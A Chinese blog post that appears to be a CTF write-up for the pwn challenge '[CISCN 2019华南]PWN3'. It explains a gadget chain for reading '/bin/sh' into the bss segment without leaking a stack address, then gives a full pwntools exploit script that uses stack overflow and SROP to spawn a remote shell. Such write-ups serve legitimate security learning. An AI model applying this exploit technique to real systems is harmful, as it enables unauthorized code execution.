0%

不用泄露栈地址的做法

2024-03-30 20:00By
collectcrop
SROPret2syscall栈溢出PWN

Problem: [CISCN 2019华南]PWN3

[[toc]]

思路

  • 这里我一开始想试试直接ret2syscall,但是构造了半天发现最后没办法给rdx赋值为0,所以行不通,然后就回头去学习这个SROP了;其中我发现了一个有趣的gadget联动,就是有一个mov rax,0xf(这时我还不会srop),然后又发现了一个and al, 0xf0 ; mov rdi, rax ; syscall的gadget(用ROPgadget工具找的),然后刚好这两个先后执行就可以使rax与rdi都为0,然后利用程序原本设置的rdx,再自己利用pop rsi;ret设置rsi=addr的值,就可以执行read(0,addr,0x30),然后我就把/bin/sh读到bss段了,这样就不用获取栈地址了。之后就是学习使用SROP了,这儿我就不献丑了,推荐一个博客吧:
  • https://www.anquanke.com/post/id/217081

EXP

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = remote('node5.anna.nssctf.cn',28792)
ret_add = 0x00000000004003a9
#pop_rdi_ret = 0x00000000004005a3
mov_rax_3b_add = 0x00000000004004E2
pop_rsi_r15_ret = 0x00000000004005a1
and_al_add = 0x00000000004004fc
mov_rax_f_add = 0x00000000004004da
vuln_add = 0x00000000004004ED
syscall_add = 0x0000000000400517
#gdb.attach(p)
payload = b"A"*0x10 + p64(pop_rsi_r15_ret) + p64(0x0000000000601030) + p64(0) + p64(mov_rax_f_add) + p64(and_al_add) + p64(vuln_add)

p.sendline(payload)
p.send(b"/bin/sh\x00")
p.recv()
#gdb.attach(p)
frame = SigreturnFrame()
frame.rdi = 0x0000000000601030
frame.rax = 59
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_add
p.send(b"A"*0x10 + p64(mov_rax_f_add) + p64(syscall_add) + bytes(frame))

p.interactive()

总结

  • 对该题的考点总结
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论

加载中...